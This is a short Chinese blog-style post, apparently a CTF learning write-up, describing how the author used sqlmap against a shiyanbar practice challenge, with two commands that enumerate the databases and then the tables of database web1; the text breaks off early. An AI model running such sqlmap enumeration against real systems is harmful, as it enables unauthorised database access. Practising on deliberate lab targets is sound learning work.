sql注入学习心得与sqlmap使用心得

做题是最好的老师

首先先来分享一下我用来练手的题目，实验吧中的简单的sql注入1，2，3

不得不说，sql注入真是一个神奇的东西，至少我以前看起来一点头绪都没有的题目能入手了

首先是简单的sql注入3（别问我为什么不是1）

打开链接之后发现

陷入沉思，这时候我决定使用sqlmap对他进行sql注入

在终端输入python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --dbs，然后就开始等他跑，当然跑的过程有点长，就不贴图了

最终结果得到

3个表，这可还行，然后我们打开web1看看里面有什么列

python2 sqlmap.py -u http://ctf5.shiyanbar.com/web/index_3.php?id=1 --tables -D web1

em